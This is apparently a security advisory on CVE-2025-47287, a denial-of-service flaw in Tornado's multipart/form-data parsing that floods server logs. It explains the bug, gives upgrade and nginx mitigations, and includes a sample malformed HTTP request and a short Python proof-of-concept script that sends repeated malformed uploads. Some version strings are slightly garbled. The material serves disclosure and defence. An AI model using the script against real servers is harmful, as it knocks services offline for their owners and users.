A new high-impact vulnerability has been uncovered in Tornado, the popular Python web framework and async networking library. Tracked as CVE-2025-47287, this flaw allows a remote attacker to flood server logs and cause Denial of Service (DoS) by abusing the way Tornado handles parsing errors in multipart/form-data HTTP requests.
Worryingly, the vulnerable code is enabled by default in all Tornado versions prior to 6.5.. Servers running these versions are at risk, especially if they allow file uploads or accept forms from untrusted clients.
How Does the Vulnerability Work?
When Tornado receives a request with a Content-Type: multipart/form-data header (commonly used for file uploads), it parses the body according to the multipart spec. But, if the parser encounters certain malformed or unexpected data, it does not immediately stop processing.
Attempts to continue parsing the remaining data.
Now, here’s the catch: The logging in Tornado is synchronous. This means each log entry can block the main event loop, especially when writing to disk. Attackers can exploit this by sending purposefully broken multipart requests in rapid succession, flooding logs and degrading or stopping service.
Imagine an attacker (or botnet) sends thousands of HTTP requests like this
POST /upload HTTP/1.1
Host: vulnerable-server
Content-Type: multipart/form-data; boundary=badboundary
--badboundary
malformed-part-data
--badboundary--
Eventually get stuck with huge, ever-growing log files
- Spend CPU and I/O resources on logging, choking out real requests
Here’s a simplified version of the problem taken from Tornado’s httputil.py (for illustration)
# Tornado multipart parser pseudocode (simplified)
try:
part = parse_next_part(data)
except MultipartParseError as exc:
logger.warning("tornado: multipart/form-data parse error: %s", exc)
# But instead of stopping, it keeps parsing!
continue
Note: The crucial bug here is not aborting the parse process or the request after an error.
Disk fills up with logs (disk exhaustion)
- High CPU and disk I/O use slows down or stops legitimate business
How to Fix CVE-2025-47287
The fix is simple: Upgrade Tornado to 6.5. or newer. The latest release aborts parsing and logging after the first error, closing the door on this attack.
Upgrading via pip
pip install --upgrade tornado
You can verify your Tornado version
import tornado
print(tornado.version) # should be '6.5.' or higher
If You Cannot Upgrade
Mitigation: Block Content-Type: multipart/form-data in your proxy or webserver for endpoints that do not require file upload.
Example with nginx
server {
...
location / {
if ($http_content_type ~* "multipart/form-data") {
return 403;
}
}
}
Exploit Details: Triggering the Flaw
Here’s a basic Python script to demonstrate the vulnerability (for authorized and educational use only):
import requests
url = 'http://vulnerable-server/upload';
bad_multipart = (
"--badboundary\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"bad.txt\"\r\n"
"Content-Type: text/plain\r\n"
"\r\n"
"malformed file data"
# Forgot closing boundary!
)
headers = {
'Content-Type': 'multipart/form-data; boundary=badboundary'
}
for i in range(100): # Send 100 malformed requests
requests.post(url, headers=headers, data=bad_multipart)
print(f"Sent bad request {i+1}")
Result: Server log will be flooded with multipart parse error warnings, consuming resources and possibly causing downtime.
References and Further Reading
- Tornado GitHub repo — Official Issue
- CVE Record on NVD
- Tornado 6.5. Release Notes
- OWASP: Logging and Monitoring Failures
Conclusion
CVE-2025-47287 is dangerous because attackers don’t need privileged access — just HTTP access to an endpoint that uses multipart forms.
Upgrade to Tornado 6.5.+ ASAP.
- If you can’t upgrade, block or carefully gate multipart/form-data requests.
Review your application logs for sharp spikes in multipart parse warnings.
If you use Tornado, act now to keep your service online and secure!
Timeline
Published on: 05/15/2025 22:15:18 UTC
Last modified on: 05/29/2025 06:15:23 UTC